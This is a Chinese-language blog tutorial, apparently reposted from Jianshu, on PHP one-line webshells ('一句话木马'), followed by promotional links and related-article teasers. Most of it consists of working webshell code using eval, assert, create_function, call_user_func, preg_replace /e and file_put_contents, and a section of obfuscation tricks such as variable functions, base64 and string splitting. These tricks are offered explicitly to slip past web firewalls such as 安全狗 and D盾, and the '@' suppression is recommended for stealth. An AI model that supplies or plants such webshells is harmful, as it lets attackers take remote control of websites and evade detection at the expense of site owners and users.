什么是一句话木马

一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。

我们如何发送命令,发送的命令如何执行?

我们可以通过GET 、POST 、COOKIE这三种方式向一个网站提交数据,一句话木马用$_GET[' ']、$_POST[' ']、$_COOKIE[' '] 接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。
所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。

例如:<?php eval(@$_POST['a']); ?>

其中eval就是执行命令的函数,$_POST['a']就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。

所有资源获取(浏览器打开:https://shimo.im/docs/pQD3GjYVRkjK8yKY/)
(持续更新)2022网络安全学习
1、渗透测试报告
2、资料文档
3、渗透经验文档
4、安全书籍

示例:

phpinfo.png

因为木马是接收post请求中 “a” 的数据( $_POST[‘a’]),所以我们必须以post方法发送数据并且将我们要执行的代码赋值给“a”。如果把木马中的post替换成get,那么我么就需要以GET方法发送“a”,( 就像这样: http://127.0.0.1/test.php?a=phpinfo(); )我就不再另行演示了。

使用 其他函数制作一句话木马

assert函数

<?php assert(@$_POST['a']); ?>

create_function函数

<?php
$fun = create_function('',$_POST['a']);
$fun();
?>

把用户传递的数据生成一个函数fun(),然后再执行fun()

call_user_func回调函数

<?php
@call_user_func(assert,$_POST['a']);
?>

call_user_func这个函数可以调用其它函数,被调用的函数是call_user_func的第一个函数,被调用的函数的参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。

preg_replace函数

<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。

file_put_contents函数

利用函数生成木马

<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

函数功能:生成一个文件,第一个参数是文件名,第二个参数是文件的内容。

如何让一句话木马绕过waf ?

waf是网站的防火墙,例如安全狗就是waf的一种。waf通常以关键字判断是否为一句话木马,但是一句话木马的变形有很多种,waf根本不可能全部拦截。想要绕过waf,需要掌握各种PHP小技巧,掌握的技巧多了,把技巧结合起来,设计出属于自己的一句话木马。

PHP变量函数

<?php
$a = "eval";
$a(@$_POST['a']);
?>

第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。

PHP可变变量

<?php
$bb="eval";
$a="bb";
$$aa($_POST['a']);
?>

看这句就能理解上述语句:$$aa = $($aa) = $ (‘bb’) = $bb = "eval"

str_replace函数

<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>

函数功能:在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"Waldo"。

base64_decode函数

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

这里是base64解密函数,"ZXZhbA=="是eval的base64加密。

"."操作符

<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

parse_str函数

<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

执行这个函数后,生成一个变量$a,值为字符串"eval"

更多技巧...

多实战,多谷歌!
上述六种技巧每一种单独使用都不能绕过waf,但是与 第三大点提到的函数混合起来使用,就可以顺利的欺骗waf。
tips:使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。

再来一个小栗子

<?php
function fun()
{return $_POST['a'];}
@preg_replace("/test/e",fun(),"test test test");
?>

这里又有一个技巧,创建函数 fun(),返回post中“a”的数据。我的这个例子很明显是一句话木马,但是安全狗却扫不出,D盾也是如此

作者:Waldo_cuit
链接:https://www.jianshu.com/p/90473b8e6667
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

PHP一句话木马之小马相关推荐

  1. 创建一句话木马(图片马)

    图片一句话木马的编写 使用cmd命令行创建图片一句话木马 使用cmd命令行创建图片一句话木马 copy 1.jpg/b+1.php/a 5.jpg 这边图片木马就成功创建了

  2. php限制一个函数在几分钟内不被调用_在PHP一句话木马使用过程中的种种坑点分析...

    前言 在平时的学习和练习过程中,经常会遇到上传的一句话木马无法执行我们的命令或者说能执行命令但是不能连接菜刀蚁剑等webshell管理工具,以及各个版本PHP所限制的一些一句话木马的写法,不同版本we ...

  3. (48.1)【WAF绕过-权限控制】webshell、小马、权限脚本、权限工具

    目录 一.webshell(大马) 1.1.简介: 1.2.缺点: 二.一句话木马(小马) 2.1.简介: 2.2.示例:(来自百度) 三.权限控制脚本下载: 3.1.下载: 四.提权工具 4.1.下 ...

  4. 上传漏洞(一句话木马、中国菜刀使用、DVWA文件上传漏洞利用)

    1.常见漏洞分类 2.常见验证手段 可抓包后修改扩展名为图片格式,再上传可绕过验证.如: 可以修改php文件后缀为其他,再上传.如test.php.xxx  可对图片文件添加一句话木马,再修改为.ph ...

  5. 如何把图片木马改成php格式,铭说 | 一句话木马的多种变形方式

    原标题:铭说 | 一句话木马的多种变形方式 今天来和大家聊一聊,一句话木马的多种变形方式. 经常有客户的网站碰到被上传小马和大马,这里的"马"是木马的意思,可不是真实的马. 通常, ...

  6. 文件上传一句话木马,用菜刀进行连接

    菜刀工具 提取码:tg6t 关于文件上传 文件上传是指由于网站没有任何过滤或者防护措施有限,而会被上传一些恶意文件,有些用户利用这个漏洞上传一句话木马(webshell),上传成功后就可以利用中国菜刀 ...

  7. DVWA File upload 一句话木马

    一句话木马是什么: 例如:<?php @eval($_POST[young]);?> @的意思就是后面是啥东西执行时都不要报错 把eval 里面的字符串当作代码执行 $_POST[youn ...

  8. 渗透测试小马(一句话)篇

    渗透测试首先要搞定虚拟机和环境问题,虚拟机就不在赘述,网上很多,我也写过,此处以反弹shell为例. 一.什么是反弹shell? 反弹shell (reverse shell),就是控制端监听在某TC ...

  9. 文件上传 webshell 各类型 一句话木马 图片马 制作 教程

    webshell webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将asp或php后门文件与网站 ...

最新文章

  1. ecshop /api/client/api.php、/api/client/includes/lib_api.php SQL Injection Vul
  2. 那些值得回味的MySQL的基础知识
  3. xlrd,xlwt模塊
  4. jbpm 4.3 与 spring 集成
  5. java多线程生产者与消费者问题_java多线程实现生产者与消费者问题
  6. Apollo后台配置:关联公共Namespace(类似与继承父类配置)
  7. 关于无线的Idle Timeout和Session Timeout
  8. 服务器:浅谈 Nginx 性能调优,太实用了!
  9. 利用HttpSessionListener实现网站在线人数统计功能
  10. 董长青(1980-),男,北京卡达克数据技术中心软件业务本部高级工程师,主要研究方向为大数据、车联网。...
  11. struts集成spring官方例子
  12. C++中继承和派生详解(公有、私有、保护继承的区别)
  13. 软考软件设计师下午真题-面向对象的程序设计与实现-组合设计模式(2021年上半年试题六))Java代码讲解
  14. ui自动化模拟键盘按键
  15. C语言 “百鸡问题”最优解
  16. opencv-python cv2.VideoWriter() 导出视频无法播放的四个原因
  17. 与电影同行的日子(同步更新)
  18. matlab normx-x0_【 MATLAB 】norm ( Vector and matrix norms )(向量范数以及矩阵范数)
  19. 为什么很多IT公司不喜欢进过培训机构的人呢?
  20. 征服统计学09|统计学里的p值有何意义

热门文章

  1. sort函数怎么用mysql_实例详解sort()函数的原理和使用方法
  2. 多商户商城子商户推广员功能说明介绍
  3. kaggle泰坦尼克数据之数据初步处理
  4. 勒索软件攻击防御的9件事
  5. win7如何更改文件类型_如何给Word、Excel、PPT文件加密?方法很简单,不用怕资料被盗了...
  6. Word控件Spire.Doc 【图像形状】教程(6): 如何在 C#、VB.NET 的 Word 文档中插入形状和形状组
  7. 苹果手机有护眼模式吗_手机上的暗黑模式,真是为了省电和护眼才出现的吗?...
  8. 中国科大6G滤波器研发取得重大突破;机器人守门员挡住梅西点球
  9. 微信摇一摇(copy的)
  10. html浮点计算器,javascript公式计算引擎-解决浮点数计算误差-网页计算器